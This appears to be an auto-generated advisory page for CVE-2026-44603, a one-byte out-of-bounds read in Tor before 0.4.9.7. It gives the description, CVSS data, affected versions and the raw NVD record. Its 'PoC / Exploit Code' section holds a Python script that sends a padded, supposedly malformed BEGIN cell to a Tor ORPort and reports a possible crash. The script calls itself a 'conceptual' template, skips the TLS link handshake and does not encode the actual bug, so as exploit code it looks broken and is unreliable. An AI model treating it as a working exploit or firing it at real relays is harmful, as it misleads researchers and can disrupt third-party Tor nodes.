Security Vulnerability Report
中文
CVE-2026-44603 CVSS 3.7 LOW

CVE-2026-44603

Published: 2026-05-07 04:16:35
Last Modified: 2026-05-07 17:24:36

Description

Tor before 0.4.9.7 has an out-of-bounds read by one byte via a malformed BEGIN cell, aka TROVE-2026-007.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:torproject:tor:*:*:*:*:*:*:*:* - VULNERABLE
Tor < 0.4.9.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Conceptual Proof of Concept for CVE-2026-44603 # Demonstrates sending a malformed cell structure to Tor # Note: Actual exploitation requires precise protocol manipulation. def exploit(target_ip, target_port): try: # Establish TCP connection to Tor ORPort s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct a malformed Cell # Tor Cell structure: Circuit ID (2/4 bytes) + Command (1 byte) + Payload (Length specified) # To trigger OOB read, we manipulate the parsing of the BEGIN cell. circuit_id = 0x00000000 # Example Circuit ID cmd_begin = 1 # BEGIN command # Malformed payload designed to trigger the off-by-one read # The exact payload depends on the specific parsing logic of Tor < 0.4.9.7 payload = b'\x00' * 509 # Example length near boundary # Pack the header (assuming version 3 or 4 link protocol) # This is a generic template packet = struct.pack('!IB', circuit_id, cmd_begin) + payload s.send(packet) print(f"[+] Malformed packet sent to {target_ip}:{target_port}") response = s.recv(1024) if not response: print("[-] Connection closed (Possible Crash)") else: print("[+] Received response") s.close() except Exception as e: print(f"Error: {e}") # Usage: exploit("127.0.0.1", 9001)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44603", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:35.387", "lastModified": "2026-05-07T17:24:36.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tor before 0.4.9.7 has an out-of-bounds read by one byte via a malformed BEGIN cell, aka TROVE-2026-007."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-193"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:torproject:tor:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.4.9.7", "matchCriteriaId": "E643A817-85FE-4CEC-BC69-0E2FA22639C0"}]}]}], "references": [{"url": "https://forum.torproject.org/c/news/tor-release-announcement/28", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://gitlab.torproject.org/tpo/core/tor/-/commit/1703df3d439c83c2184e259fad1cfa19240f9c89", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://gitlab.torproject.org/tpo/core/tor/-/work_items/41245", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/05/06/8", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}]}}